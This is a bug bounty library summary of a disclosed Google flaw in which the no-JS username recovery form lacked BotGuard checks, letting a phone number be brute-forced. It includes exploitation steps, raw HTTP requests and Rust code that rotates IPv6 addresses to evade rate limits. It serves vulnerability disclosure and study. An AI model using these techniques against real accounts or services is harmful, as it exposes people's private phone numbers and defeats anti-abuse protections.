# Bruteforcing the phone number of any Google user

No-JS Google username recovery form lacked BotGuard enforcement, letting attackers brute-force any user's phone number via IPv6 rotation and a Looker Studio display-name leak.

- Payout: $5,000
- Severity: medium
- Program: Google
- Found by: brutecat
- Disclosed: 2025-06-09
- Write-up quality: 8/10
- Original: https://brutecat.com/articles/leaking-google-phones
- Library page: https://bugbountylibrary.com/r/blog%3Abrutecat-com-articles-leaking-google-phones
- Tags: area:web domain:web impact:pii-leak kind:bounty platform:blog sev:medium tech:rest technique:chained technique:recon vuln:auth-bypass vuln:business-logic vuln:info-disclosure

**Target:** accounts.google.com /signin/usernamerecovery and /lookup endpoints
**Root cause:** The no-JS username recovery form accepted bgresponse=js_disabled and did not enforce BotGuard tokens, so the anti-abuse proof-of-work could be bypassed; per-IP rate limiting was the only defense.
**Steps:**
1. Disable JS, load /signin/usernamerecovery, capture __Host-GAPS cookie and gxf token from HTML
2. POST /signin/usernamerecovery with `Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359` to obtain ess value
3. POST /signin/usernamerecovery/lookup with `challengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith`
4. Observe redirect to /challenge (account exists) vs /noaccountsfound
5. Rotate source IPv6 from a /64 subnet via reqwest local_address to bypass per-IP ratelimit
6. Replace bgresponse=js_disabled with the botguard token from the JS-enabled form request (passed via bgRequest) to avoid captcha
7. Filter false positives by re-querying with a random last name
8. Derive country code from forgot-password phone mask (libphonenumber national format), leak display name via Looker Studio ownership transfer, then brute remaining digits
**How found:** Noticed the username recovery form still worked with JS disabled, contradicting the assumption that BotGuard was mandatory; then spotted bgresponse=js_disabled and hypothesized the JS-form BotGuard token could be substituted.
**Exploitation:** Attacker leaks victim display name via Looker Studio ownership transfer, gets masked phone from forgot-password flow, then brute-forces remaining digits at ~40k checks/sec using IPv6 rotation and a reused BotGuard token, confirming the full phone number via the challenge/noaccountsfound oracle.
**Escalation:** Chained a Looker Studio display-name leak and libphonenumber mask parsing to reduce brute-force space; reused a single BotGuard token across unlimited requests.
**Insight:** When a service has a JS-gated anti-abuse path and a no-JS fallback, test whether the fallback accepts tokens minted by the JS path or a static sentinel — the fallback often skips enforcement entirely. Also, per-IP ratelimits are meaningless against /64 IPv6 rotation.

## Proof of concept (copied exactly from the original report)

**No-JS username recovery request with phone number**

```
POST /signin/usernamerecovery HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359
```

**Lookup request checking phone against display name**

```
POST /signin/usernamerecovery/lookup HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Origin: https://accounts.google.com
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i

challengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith
```

**Rust code rotating random IPv6 per request**

```
pub fn get_rand_ipv6(subnet: &str) -> IpAddr {
 let (ipv6, prefix_len) = match subnet.parse::<Ipv6Cidr>() {
 Ok(cidr) => {
 let ipv6 = cidr.first_address();
 let length = cidr.network_length();
 (ipv6, length)
 }
 Err(_) => {
 panic!("invalid IPv6 subnet");
 }
 };

 let ipv6_u128: u128 = u128::from(ipv6);
 let rand: u128 = random();

 let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);
 let host_part = (rand << prefix_len) >> prefix_len;
 let result = net_part | host_part;

 IpAddr::V6(Ipv6Addr::from(result))
}

pub fn create_client(subnet: &str, user_agent: &str) -> Client {
 let ip = get_rand_ipv6(subnet);

 Client::builder()
 .redirect(redirect::Policy::none())
 .danger_accept_invalid_certs(true)
 .user_agent(user_agent)
 .local_address(Some(ip))
 .build().unwrap()
}
```

